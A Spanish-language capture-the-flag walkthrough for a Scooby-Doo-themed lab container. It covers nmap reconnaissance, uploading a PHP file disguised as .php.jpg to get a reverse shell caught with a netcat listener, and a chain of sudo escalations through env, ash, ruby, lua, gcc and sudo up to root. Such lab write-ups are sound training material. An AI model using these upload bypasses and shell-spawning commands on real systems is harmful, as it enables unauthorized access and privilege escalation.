Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 04:09 EST
Nmap scan report for ctf403.hl (172.17.0.2)
Host is up (0.000043s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: El Ascensor Embrujado - Un Misterio de Scooby-Doo
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds
Si entramos en la pagina web que esta subida, no veremos gran cosa, por lo que intentaremos fuzzear a ver que encontramos.
Vemos que hay bastantes resultados interesantes, por lo que entraremos en la pagina llamada /archivo.html.
URL = http://<IP>/themes/archivo.html
Escalate user www-data
Si entramos en dicha pagina veremos una web en la que podremos subir un archivo .jpg, por lo que intentaremos subir un .php camuflado para crearnos una reverse shell:
Ponemos esas extensiones al archivo .php.jpg para camuflarlo, y antes de enviar el archivo, nos pondremos a la escucha:
nc -lvnp <PORT>
Ahora tendremos que subir el archivo y darle a subir imagen, si ahora nos volvemos a la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 42940
whoami
www-data
Escalate user daphne
Ahora tendremos que sanitizar la shell (TTY).
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on f6a8d22ef0ec:
(daphne) NOPASSWD: /usr/bin/env
Por lo que podremos ejecutar el binario env como el usuario daphne, por lo que haremos lo siguiente:
sudo -u daphne env /bin/sh
Y con esto seremos dicho usuario.
Escalate user vilma
Primero pondremos bash para tener una shell de bash y tener una shell mucho mejor.
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for daphne on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User daphne may run the following commands on f6a8d22ef0ec:
(vilma) NOPASSWD: /usr/bin/ash
Por lo que vemos podremos ejecutar ese binario ash como el usuario vilma, por lo que haremos lo siguiente:
sudo -u vilma ash
Y con esto seremos dicho usuario.
Escalate user shaggy
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for vilma on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User vilma may run the following commands on f6a8d22ef0ec:
(shaggy) NOPASSWD: /usr/bin/ruby
Por lo que vemos podemos ejecutar el binario ruby como el usuario shaggy, por lo que haremos lo siguiente:
sudo -u shaggy ruby -e 'exec "/bin/sh"'
Y con esto seremos dicho usuario.
Escalate user fred
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for shaggy on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User shaggy may run the following commands on f6a8d22ef0ec:
(fred) NOPASSWD: /usr/bin/lua
Por lo que vemos podemos ejecutar el binario lua como el usuario fred, por lo que haremos lo siguiente:
sudo -u fred lua -e 'os.execute("/bin/sh")'
Y con esto seremos dicho usuario.
Escalate user scooby
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for fred on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User fred may run the following commands on f6a8d22ef0ec:
(scooby) NOPASSWD: /usr/bin/gcc
Por lo que vemos podemos ejecutar el binario gcc como el usuario scooby, por lo que haremos lo siguiente:
sudo -u scooby gcc -wrapper /bin/sh,-s .
Y con esto seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for scooby on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User scooby may run the following commands on f6a8d22ef0ec:
(root) NOPASSWD: /usr/bin/sudo
Vemos que podremos ejecutar el binario sudo como el usuario root, por lo que haremos lo siguiente:
sudo sudo /bin/bash
Y con esto ya seremos root, por lo que habremos terminado.
